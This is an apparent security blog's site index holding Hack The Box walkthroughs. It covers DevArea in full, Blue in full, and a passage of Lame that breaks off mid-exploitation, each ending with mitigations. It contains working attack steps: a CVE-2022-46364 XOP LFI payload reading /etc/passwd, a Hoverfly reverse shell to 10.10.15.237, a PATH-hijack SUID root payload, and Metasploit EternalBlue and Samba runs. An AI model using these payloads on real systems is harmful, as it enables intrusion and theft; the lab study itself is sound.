2026","externalUrl":null,"permalink":"/tags/idor/","section":"Tags","summary":"","title":"IDOR","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/jwe/","section":"Tags","summary":"","title":"JWE","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/jwt/","section":"Tags","summary":"","title":"JWT","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/linuxcapabilities/","section":"Tags","summary":"","title":"LinuxCapabilities","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/pac4j/","section":"Tags","summary":"","title":"Pac4j","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/pcap/","section":"Tags","summary":"","title":"PCAP","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/principal/","section":"Tags","summary":"","title":"Principal","type":"tags"},{"content":"","date":"14 April 2026","externalUrl":null,"permalink":"/tags/wireshark/","section":"Tags","summary":"","title":"Wireshark","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/apachecxf/","section":"Tags","summary":"","title":"ApacheCXF","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/cve-2022-46364/","section":"Tags","summary":"","title":"CVE-2022-46364","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/devarea/","section":"Tags","summary":"","title":"Devarea","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/hoverfly/","section":"Tags","summary":"","title":"Hoverfly","type":"tags"},{"content":" Walkthrough of DevArea on Hack The Box. Medium difficulty machine running Linux Ubuntu. A Java SOAP service downloaded via anonymous FTP turns out to be Apache CXF 3.2.14, vulnerable to CVE-2022-46364 (XOP Include LFI). We use the flaw to read Hoverfly credentials from the systemd configuration and get RCE through the Middleware system. Root escalation exploits PATH Hijacking in a script executed with sudo. HackTheBox Linux Medium 🗺️ Machine Info # Field Detail Name DevArea OS Linux (Ubuntu) Difficulty Medium IP 10.129.10.216 Techniques CVE-2022-46364 · XOP Include LFI · Hoverfly Middleware RCE · Bash PATH Hijacking · SUID 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.216 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy 8500/tcp open fmtp 8888/tcp open sun-answerbook Version and scripts scan on open ports:\nnmap -sC -sV -p21,22,80,8080,8500,8888 10.129.10.216 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http Apache httpd 2.4.58 |_http-title: Did not follow redirect to http://devarea.htb/ 8080/tcp open http Jetty 9.4.27.v20200227 |_http-title: Error 404 Not Found 8500/tcp open http Golang net/http server (Proxy — requires auth) 8888/tcp open http Golang net/http server |_http-title: Hoverfly Dashboard Open ports:\n21 → FTP vsftpd with anonymous login enabled 22 → OpenSSH 9.6p1, no known public exploits 80 → Apache 2.4.58 with virtual hosting to devarea.htb 8080 → Jetty 9.4.27 — Java service, returns 404 at root 8500 → Go proxy with authentication 8888 → Hoverfly Dashboard — service virtualization tool 💡 Attack surface: The combination of anonymous FTP + Jetty + Hoverfly is unusual. FTP likely exposes some artifact of the service running on Jetty; Hoverfly is a tool that can execute code if we authenticate.\n2. Web and FTP Enumeration # 2.1 Web Enumeration (Port 80) # We add devarea.htb to /etc/hosts and run gobuster in vhost mode:\nsudo sh -c \u0026#34;echo \u0026#39;10.129.10.216 devarea.htb\u0026#39; \u0026gt;\u0026gt; /etc/hosts\u0026#34; gobuster vhost -u http://devarea.htb -w subdomains.txt Found: weather.devarea.htb → 302 → http://devarea.htb/ Found: webapps.devarea.htb → 302 → http://devarea.htb/ Found: node1.devarea.htb → 302 → http://devarea.htb/ All subdomains redirect to the main page. The static web and port 8080 have no actionable content via directory enumeration.\n2.2 Anonymous FTP # ftp 10.129.10.216 # User: anonymous / No password ftp\u0026gt; ls pub -rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jar ftp\u0026gt; get employee-service.jar We download the JAR — a Java service presumably running on port 8080.\n3. JAR Analysis — Reverse Engineering # We decompile the JAR with jadx:\njadx -d /root/decompiled/ /root/employee-service.jar Relevant files are in sources/htb/devarea/. We filter the application code by excluding Apache, Jetty, and javax dependencies:\nfind sources/ -name \u0026#34;*.java\u0026#34; | grep -vE \u0026#34;apache|jetty|javax|ibm\u0026#34; sources/htb/devarea/Report.java sources/htb/devarea/ServerStarter.java sources/htb/devarea/EmployeeServiceImpl.java sources/htb/devarea/EmployeeService.java 3.1 ServerStarter.java — SOAP Endpoint # public class ServerStarter { public static void main(String[] args) { JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean(); factory.setServiceClass(EmployeeService.class); factory.setServiceBean(new EmployeeServiceImpl()); factory.setAddress(\u0026#34;http://0.0.0.0:8080/employeeservice\u0026#34;); factory.create(); System.out.println(\u0026#34;WSDL available at http://localhost:8080/employeeservice?wsdl\u0026#34;); } } 💡 Key discovery: The service exposes a SOAP endpoint at http://devarea.htb:8080/employeeservice. The WSDL at /employeeservice?wsdl describes its full interface.\n3.2 EmployeeServiceImpl.java — The Reflected Field # public String submitReport(Report report) { String greeting = report.isConfidential() ? \u0026#34;Report marked confidential. Thank you, \u0026#34; + report.getEmployeeName() : \u0026#34;Report received from \u0026#34; + report.getEmployeeName(); return greeting + \u0026#34;. Department: \u0026#34; + report.getDepartment() + \u0026#34;. Content: \u0026#34; + report.getContent(); } 💡 Key: The content field is reflected back in the response. If we can inject file contents into that field, we\u0026rsquo;ll see them in the response.\n3.3 pom.xml — Apache CXF Version # cat resources/META-INF/maven/com.environment/employee-service/pom.xml \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.apache.cxf\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;cxf-rt-frontend-jaxws\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.2.14\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; ⚠️ Vulnerable version: Apache CXF 3.2.14 is affected by CVE-2022-46364 (versions before 3.5.5 and 3.4.10). This CVE allows reading arbitrary server files via Multipart SOAP messages with XOP Include elements.\n4. Exploitation — CVE-2022-46364 (XOP Include LFI) # The attack uses XOP (XML-binary Optimized Packaging) inside a Multipart SOAP message. Instead of an HTTP URL, we pass a local file path in the href attribute of the xop:Include element. The server processes the entity, reads the file, and returns it Base64-encoded in the response.\nNormal flow: content field = \u0026#34;text\u0026#34; → SOAP response with that text reflected Malicious flow: content field = \u0026lt;xop:Include href=\u0026#34;file:///path\u0026#34;/\u0026gt; → CXF resolves the reference, reads the local file, returns content in Base64 4.1 Service Verification # Before exploiting, we confirm the SOAP endpoint responds correctly:\ncurl -X POST \\ -H \u0026#39;Content-Type: multipart/related; type=\u0026#34;text/xml\u0026#34;; boundary=\u0026#34;boundary\u0026#34;; start=\u0026#34;\u0026lt;main\u0026gt;\u0026#34;\u0026#39; \\ -H \u0026#39;SOAPAction: \u0026#34;\u0026#34;\u0026#39; \\ --data-binary @- \\ http://devarea.htb:8080/employeeservice \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; --boundary Content-Type: text/xml; charset=UTF-8 Content-ID: \u0026lt;main\u0026gt; \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt;TEST_CONTENT\u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;IT\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;Hacker\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; --boundary-- EOF \u0026lt;return\u0026gt;Report received from Hacker. Department: IT. Content: TEST_CONTENT\u0026lt;/return\u0026gt; The content field is reflected.\n4.2 Reading /etc/passwd # We replace the text with an xop:Include element pointing to the file:\ncurl -X POST \\ -H \u0026#39;Content-Type: multipart/related; type=\u0026#34;text/xml\u0026#34;; boundary=\u0026#34;boundary\u0026#34;; start=\u0026#34;\u0026lt;main\u0026gt;\u0026#34;\u0026#39; \\ -H \u0026#39;SOAPAction: \u0026#34;\u0026#34;\u0026#39; \\ --data-binary @- \\ http://devarea.htb:8080/employeeservice \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; --boundary Content-Type: text/xml; charset=UTF-8 Content-ID: \u0026lt;main\u0026gt; \u0026lt;soapenv:Envelope xmlns:soapenv=\u0026#34;http://schemas.xmlsoap.org/soap/envelope/\u0026#34; xmlns:dev=\u0026#34;http://devarea.htb/\u0026#34;\u0026gt; \u0026lt;soapenv:Header/\u0026gt; \u0026lt;soapenv:Body\u0026gt; \u0026lt;dev:submitReport\u0026gt; \u0026lt;arg0\u0026gt; \u0026lt;confidential\u0026gt;false\u0026lt;/confidential\u0026gt; \u0026lt;content\u0026gt; \u0026lt;xop:Include href=\u0026#34;file:///etc/passwd\u0026#34; xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34;/\u0026gt; \u0026lt;/content\u0026gt; \u0026lt;department\u0026gt;IT\u0026lt;/department\u0026gt; \u0026lt;employeeName\u0026gt;Hacker\u0026lt;/employeeName\u0026gt; \u0026lt;/arg0\u0026gt; \u0026lt;/dev:submitReport\u0026gt; \u0026lt;/soapenv:Body\u0026gt; \u0026lt;/soapenv:Envelope\u0026gt; --boundary-- EOF The response contains /etc/passwd Base64-encoded:\nContent: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo... echo \u0026#34;cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...\u0026#34; | base64 -d root:x:0:0:root:/root:/bin/bash ... dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin 💡 Users of interest:\ndev_ryan — only normal user with a shell (/bin/bash) syswatch — service user at /opt/syswatch; relevant for privesc 4.3 Reading the Hoverfly Service (systemd) # With the same method we read the port 8888 service configuration:\n\u0026lt;xop:Include href=\u0026#34;file:///etc/systemd/system/hoverfly.service\u0026#34; xmlns:xop=\u0026#34;http://www.w3.org/2004/08/xop/include\u0026#34;/\u0026gt; echo \u0026#34;W1VuaXRdCk...\u0026#34; | base64 -d [Unit] Description=HoverFly service After=network.target [Service] User=dev_ryan Group=dev_ryan WorkingDirectory=/opt/HoverFly ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0 [Install] WantedBy=multi-user.target 🔑 Credentials found: admin:O7IJ27MyyXiU for Hoverfly on port 8888. Credentials are in plaintext in the process startup parameter — visible in /proc, in the journald log, and in any service configuration file.\n5. RCE via Hoverfly Middleware # Hoverfly is a service virtualization tool that can execute external scripts (\u0026ldquo;middleware\u0026rdquo;) to process intercepted traffic in real time. The middleware receives each request/response as JSON via stdin and returns the modified response via stdout. If we configure as middleware a script that launches a reverse shell, the server will execute it in the context of the dev_ryan user.\n5.1 Get the JWT Token # curl -s -X POST http://devarea.htb:8888/api/token-auth \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;username\u0026#34;:\u0026#34;admin\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;O7IJ27MyyXiU\u0026#34;}\u0026#39; {\u0026#34;token\u0026#34;:\u0026#34;eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4...\u0026#34;} 5.2 Configure the Middleware with Reverse Shell # We open a listener on our machine:\nnc -lvnp 4444 We send the payload to the middleware endpoint. The binary field specifies the interpreter and script the code to execute:\ncurl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \\ -H \u0026#34;Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;binary\u0026#34;: \u0026#34;/bin/bash\u0026#34;, \u0026#34;script\u0026#34;: \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.15.237/4444 0\u0026gt;\u0026amp;1\u0026#34;, \u0026#34;remote\u0026#34;: \u0026#34;\u0026#34; }\u0026#39; Listening on 0.0.0.0 4444 Connection received on 10.129.10.216 37422 bash: no job control in this shell dev_ryan@devarea:/opt/HoverFly$ ✅ Shell obtained as dev_ryan.\n6. User Flag # dev_ryan@devarea:~$ cat user.txt 🔑 User flag obtained.\n7. Privilege Escalation — Bash PATH Hijacking # 7.1 Sudo Permission Enumeration # dev_ryan@devarea:~$ sudo -l User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart Rule analysis:\n✅ We can run /opt/syswatch/syswatch.sh as root without a password ❌ The web-stop and web-restart arguments are blocked (! prefix) The script and its directory are not directly accessible: dev_ryan@devarea:~$ ls -la /opt/syswatch/ ls: cannot open directory \u0026#39;/opt/syswatch/\u0026#39;: Permission denied 7.2 The Vulnerability — PATH Hijacking # The syswatch.sh script likely invokes system commands (ps, grep, date, etc.) without absolute paths. When bash executes a command by name, it searches through $PATH directories left-to-right. If we place a malicious executable with the same name in a directory that appears first in PATH, bash will execute it instead of the legitimate binary — with root privileges.\nNormal flow: syswatch.sh calls \u0026#34;ps\u0026#34; → bash searches PATH → /bin/ps Malicious flow: PATH=/tmp:... → bash searches /tmp first → /tmp/ps (our payload) → executed as root 7.3 Create the SUID Payload # cat \u0026gt; /tmp/payload.sh \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; #!/bin/sh cp /bin/sh /tmp/root_sh \u0026amp;\u0026amp; chmod +s /tmp/root_sh EOF chmod +x /tmp/payload.sh The payload copies /bin/sh to /tmp/root_sh and activates the SUID bit (+s). Any user executing /tmp/root_sh will do so with the permissions of the binary\u0026rsquo;s owner — which after being copied by root will be root.\nTo cover the most common commands without knowing which one the script uses internally:\nfor cmd in ps grep date id cat ls; do ln -s /tmp/payload.sh /tmp/$cmd done 7.4 Hijack PATH and Execute the Script as Root # export PATH=/tmp:$PATH sudo /opt/syswatch/syswatch.sh --version The first command without an absolute path found in the script will execute our payload. Root copies /bin/sh and sets the SUID bit.\n7.5 Get the Root Shell # /tmp/root_sh -p # id uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) egid=0(root) -p: Activates sh\u0026rsquo;s \u0026ldquo;privileged\u0026rdquo; mode, which doesn\u0026rsquo;t drop the elevated EUID at startup. Without this flag, the shell would discard the SUID bit as a modern security measure.\n✅ Escalation to root completed.\n8. Root Flag # # cat /root/root.txt 🏁 Root flag obtained.\n9. Summary and Lessons Learned # Compromise path:\nRecon → Anonymous FTP exposes employee-service.jar; Hoverfly Dashboard on port 8888. Reversing → jadx on the JAR → Apache CXF 3.2.14 → CVE-2022-46364; content field reflected. CVE-2022-46364 → XOP Include LFI → /etc/passwd (users) + /etc/systemd/system/hoverfly.service (credentials). Hoverfly credentials → admin:O7IJ27MyyXiU → JWT token → Middleware RCE → shell as dev_ryan. User flag → ~/user.txt. PrivEsc → sudo without password on syswatch.sh → PATH Hijacking → SUID binary → root. What I learned from this machine:\nAnonymous FTP can expose more than data — it can expose the target\u0026rsquo;s source code. The downloaded JAR contained the exact version of the vulnerable dependency. Without that information, finding the attack vector would have required blind fuzzing of the SOAP service. Reading the code first turned a blind search into a targeted attack.\nCVE-2022-46364 is an example of why third-party dependencies need to be on the security team\u0026rsquo;s radar. The application code itself has no bugs — the problem is in the SOAP message parsing library. Maintaining an up-to-date inventory of dependencies (SBOM) and monitoring CVEs against that inventory is the only way to detect this type of exposure before an attacker does.\nXOP was designed to efficiently include binaries in SOAP messages; the file:// abuse is a consequence of the parser not validating the URI scheme. The fix in CXF 3.5.5 consisted precisely of blocking URI schemes other than http:// and https:// in xop:Include. It\u0026rsquo;s an example of failing open by default: the library accepted any valid URI without scheme restriction.\nCredentials in process startup parameters are visible to any system user. The ExecStart command in systemd with -password O7IJ27MyyXiU appears in /proc/\u0026lt;pid\u0026gt;/cmdline, in the journald log, and in the service configuration file. If the LFI hadn\u0026rsquo;t existed, ps aux from any user with system access would have revealed the same password.\nPATH Hijacking in sudo scripts is one of the most underrated privesc vectors. People check SUID, capabilities, and crons, but don\u0026rsquo;t always verify whether privileged scripts call binaries with relative paths. The defense is trivial: use /bin/ps instead of ps, and secure_path in sudoers.\nMitigations:\nVector Mitigation Anonymous FTP with internal binaries Disable anonymous access; don\u0026rsquo;t expose development artifacts in production Apache CXF 3.2.14 (CVE-2022-46364) Update to CXF ≥ 3.5.5 or ≥ 3.4.10 Credentials in process parameters (systemd) Use EnvironmentFile with a secrets file; CLI arguments are visible to all system users Hoverfly Middleware accessible from network Bind only to 127.0.0.1; restrict API with firewall if remote access isn\u0026rsquo;t needed sudo over script with binaries lacking absolute paths Add secure_path in sudoers; use absolute paths in all script commands Exploitable SUID bit post-escalation Regularly audit find / -perm -4000 2\u0026gt;/dev/null; monitor changes in /tmp ","date":"29 March 2026","externalUrl":null,"permalink":"/posts/htb-devarea/","section":"Posts","summary":" Walkthrough of DevArea on Hack The Box. Medium difficulty machine running Linux Ubuntu. A Java SOAP service downloaded via anonymous FTP turns out to be Apache CXF 3.2.14, vulnerable to CVE-2022-46364 (XOP Include LFI). We use the flaw to read Hoverfly credentials from the systemd configuration and get RCE through the Middleware system. Root escalation exploits PATH Hijacking in a script executed with sudo. HackTheBox Linux Medium ","title":"HTB Walkthrough: DevArea","type":"posts"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/lfi/","section":"Tags","summary":"","title":"LFI","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/middlewarerce/","section":"Tags","summary":"","title":"MiddlewareRCE","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/pathhijacking/","section":"Tags","summary":"","title":"PATHHijacking","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/soap/","section":"Tags","summary":"","title":"SOAP","type":"tags"},{"content":"","date":"29 March 2026","externalUrl":null,"permalink":"/tags/xopinclude/","section":"Tags","summary":"","title":"XOPInclude","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/blue/","section":"Tags","summary":"","title":"Blue","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/cve-2007-2447/","section":"Tags","summary":"","title":"CVE-2007-2447","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/cve-2025-47812/","section":"Tags","summary":"","title":"CVE-2025-47812","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/eternalblue/","section":"Tags","summary":"","title":"EternalBlue","type":"tags"},{"content":"","date":"28 March 2026","externalUrl":null,"permalink":"/tags/hashcat/","section":"Tags","summary":"","title":"Hashcat","type":"tags"},{"content":" Walkthrough of Blue on Hack The Box. Easy difficulty machine running Windows 7 SP1. The vector is the infamous EternalBlue exploit (MS17-010), a vulnerability in SMBv1 that compromises the Windows kernel and delivers direct access as NT AUTHORITY\\SYSTEM with no credentials required. HackTheBox Windows Easy 🗺️ Machine Info # Field Detail Name Blue OS Windows 7 Professional SP1 (x64) Difficulty Easy IP 10.129.10.54 Techniques SMB Enumeration · EternalBlue · Kernel Exploit CVE / MS MS17-010 (CVE-2017-0144) 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.54 PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open msrpc 49153/tcp open msrpc 49154/tcp open msrpc Version scan on relevant ports:\nnmap -sC -sV -p135,139,445 10.129.10.54 PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds Host script results: | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC |_ System time: 2026-03-28T15:00:03+00:00 Open ports:\n135, 139, 445 → Windows SMB/NetBIOS stack — classic pattern of a Windows system with exposed shared resources 49152+ → Dynamic RPC ports (Microsoft EPMAP) 💡 Key detail: The smb-os-discovery script confirms Windows 7 Professional SP1 x64. This version is vulnerable to MS17-010 if the KB4012212 patch hasn\u0026rsquo;t been applied. The hostname haris-PC suggests a desktop machine, not a hardened server.\n1.2 SMB Enumeration # Before exploiting anything, we enumerate shared resources to understand the exposed surface:\nsmbclient -N -L //10.129.10.54 Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Share Disk Users Disk Shares are visible via null session (-N), but smbmap confirms we have no read or write permissions without credentials:\nsmbmap -H 10.129.10.54 [!] Access denied on 10.129.10.54, no fun for you... Without valid credentials we can\u0026rsquo;t access files. The only path is exploiting the vulnerability in the service itself.\n💡 Conclusions: SMBv1 active, Windows 7 SP1 unpatched, port 445 accessible. All prerequisites for MS17-010 are present.\n2. Exploitation — MS17-010 EternalBlue # 2.1 Vulnerability Analysis # EternalBlue is an exploit developed by the NSA and publicly leaked by the Shadow Brokers group in April 2017. It exploits a buffer overflow in the non-paged pool of the Windows kernel when processing malformed SMBv1 packets.\nNormal flow: SMBv1 packet → srv.sys validates the buffer → processes the request Malicious flow: malformed SMBv1 packet → srv.sys doesn\u0026#39;t validate size → kernel overflow → shellcode injection → execution as SYSTEM The reason we get SYSTEM directly is that srv.sys — the driver that handles SMB — runs in kernel mode. No subsequent privilege escalation is needed. If port 445 is accessible and SMBv1 is enabled, the machine is vulnerable regardless of the attacker\u0026rsquo;s credentials.\n2.2 Metasploit Exploit Configuration # msf6 \u0026gt; use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) \u0026gt; set RHOSTS 10.129.10.54 msf6 exploit(ms17_010_eternalblue) \u0026gt; set LHOST tun0 The module uses windows/x64/meterpreter/reverse_tcp by default, appropriate for the target\u0026rsquo;s x64 architecture.\n2.3 Execution # msf6 exploit(ms17_010_eternalblue) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.237:4444 [+] 10.129.10.54:445 - Host is likely VULNERABLE to MS17-010! [+] 10.129.10.54:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Sending stage (244806 bytes) to 10.129.10.54 [*] Meterpreter session 1 opened (10.10.15.237:4444 -\u0026gt; 10.129.10.54:49158) The ETERNALBLUE overwrite completed successfully line confirms the kernel has been compromised and the Meterpreter stage has been injected into memory. We verify privileges:\nmeterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM NT AUTHORITY\\SYSTEM is the maximum privilege level on Windows, equivalent to root on Linux. No additional escalation step is required.\n3. User Flag # meterpreter \u0026gt; cd C:\\Users\\haris\\Desktop meterpreter \u0026gt; cat user.txt 🔑 User flag obtained.\n4. Root Flag # No privilege escalation needed — EternalBlue delivers SYSTEM directly. We access the Administrator\u0026rsquo;s desktop:\nmeterpreter \u0026gt; cd C:\\Users\\Administrator\\Desktop meterpreter \u0026gt; cat root.txt 🏁 Root flag obtained.\n5. Summary and Lessons Learned # Compromise path:\nRecon → Nmap + smb-os-discovery confirm Windows 7 SP1 x64 unpatched with SMB exposed. SMB enumeration → SMBv1 active, null session visible but no file access. MS17-010 → EternalBlue via Metasploit → kernel buffer overflow → direct shell as NT AUTHORITY\\SYSTEM. Flags → No escalation needed, direct access to both desktops → user.txt + root.txt. What I learned from this machine:\nPrecise OS identification is critical on Windows. The version, Service Pack, and architecture can determine whether an exploit works or not. Nmap\u0026rsquo;s smb-os-discovery script extracts this information directly from the SMB protocol without credentials.\nEternalBlue requires no credentials — only access to port 445 with SMBv1 active. It\u0026rsquo;s a network-level vulnerability that affects the kernel directly. This sets it apart from most exploits, which require some prior authentication.\nA kernel-level exploit delivers maximum privileges from the first moment. On Windows, srv.sys runs in kernel mode, so any code injected through it inherits that context — SYSTEM with no additional steps. This illustrates why kernel vulnerabilities are the most severe.\nEternalBlue was the initial vector for WannaCry and NotPetya. Both attacks occurred in 2017, weeks after the patch was available, and affected hundreds of thousands of systems. The window between patch publication and mass deployment is the window attackers exploit at global scale.\nMitigations:\nVector Mitigation MS17-010 unpatched Apply bulletin MS17-010 (KB4012212) — the most critical defense against this vector SMBv1 enabled Disable SMBv1 completely; use only SMBv2 or SMBv3 Windows 7 without support (EOL January 2020) Migrate to a supported OS (Windows 10/11 or modern Windows Server) Port 445 exposed on the network Segment the network and block 445 from outside; isolate legacy machines in separate VLANs ","date":"28 March 2026","externalUrl":null,"permalink":"/posts/htb-blue/","section":"Posts","summary":" Walkthrough of Blue on Hack The Box. Easy difficulty machine running Windows 7 SP1. The vector is the infamous EternalBlue exploit (MS17-010), a vulnerability in SMBv1 that compromises the Windows kernel and delivers direct access as NT AUTHORITY\\SYSTEM with no credentials required. HackTheBox Windows Easy ","title":"HTB Walkthrough: Blue","type":"posts"},{"content":" Walkthrough of Lame, one of the most classic machines on Hack The Box. Easy difficulty running Linux. The main vector is a remote code execution vulnerability in Samba 3.0.20 (CVE-2007-2447) that, through the way Samba processes usernames, executes arbitrary shell commands with the service\u0026rsquo;s privileges — in this case, root. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name Lame OS Linux Difficulty Easy IP 10.129.10.27 Techniques SMB Enumeration · CVE-2007-2447 · Command Injection CVE CVE-2007-2447 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.27 PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds Version scan on open ports:\nnmap -sC -sV -p21,22,139,445 10.129.10.27 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Open ports:\n21 → vsftpd 2.3.4 with anonymous access enabled 22 → OpenSSH 4.7p1 (old version, no accessible direct exploits) 139/445 → Samba 3.0.20 — a version known for critical RCE vulnerabilities 💡 Key detail: Two very old versions stand out: vsftpd 2.3.4 (known for a 2011 backdoor) and Samba 3.0.20 (vulnerable to CVE-2007-2447). Both are candidates, but Samba runs as root on this machine — it\u0026rsquo;s the priority vector.\n1.2 SMB and FTP Enumeration # We check Samba\u0026rsquo;s shared resources and their permissions:\nsmbmap -H 10.129.10.27 Disk Permissions Comment print$ NO ACCESS Printer Drivers tmp READ, WRITE oh noes! opt NO ACCESS IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian)) The tmp share has read and write permissions without authentication. We inspect it:\nsmbclient //10.129.10.27/tmp -N smb: \\\u0026gt; ls .ICE-unix DH 0 Sat Mar 28 12:54:24 2026 vmware-root DR 0 Sat Mar 28 12:54:30 2026 .X11-unix DH 0 Sat Mar 28 12:54:50 2026 Only system temp files, nothing useful. Anonymous FTP also returns an empty directory. The vector is in the Samba version.\n💡 Conclusions: Samba 3.0.20 confirmed, anonymous access to the tmp share available. We proceed to exploit CVE-2007-2447 directly.\n2. Exploitation # 2.1 Failed Attempt — vsftpd 2.3.4 Backdoor # Before going to Samba, we try the known vsftpd 2.3.4 backdoor. This version was compromised in its official repositories in 2011 and included a backdoor that opens port 6200/TCP when receiving a username ending in :).\nmsf6 \u0026gt; use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(vsftpd_234_backdoor) \u0026gt; set RHOSTS 10.129.10.27 msf6 exploit(vsftpd_234_backdoor) \u0026gt; run [!] 10.129.10.27:21 - Unable to connect to backdoor on 6200/TCP. [*] Exploit completed, but no session was created. The backdoor doesn\u0026rsquo;t respond. Although the version is vulnerable, port 6200 is blocked at the network level or the binary was patched on this machine. We move to plan B.\n2.2 Vulnerability Analysis — CVE-2007-2447 # Samba 3.0.20 is vulnerable to this CVE through the username map script option in smb.conf. When active, Samba allows passing the username to an external script for identity mapping. The problem: it doesn\u0026rsquo;t sanitize input before passing it to the shell. If the username contains shell metacharacters like ` or $(), Samba executes them directly on the operating system.\nNormal flow: client sends username → Samba maps with external script → authenticates Malicious flow: client sends \u0026#34;/`command`\u0026#34; → Samba executes the command on the OS → RCE The Samba process on this machine runs as root, so any injected command executes with maximum privileges with no need for post-exploitation escalation.\n2.3 Execution # msf6 \u0026gt; use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) \u0026gt; set RHOSTS 10.129.10.27 msf6 exploit(usermap_script) \u0026gt; set LHOST tun0 msf6 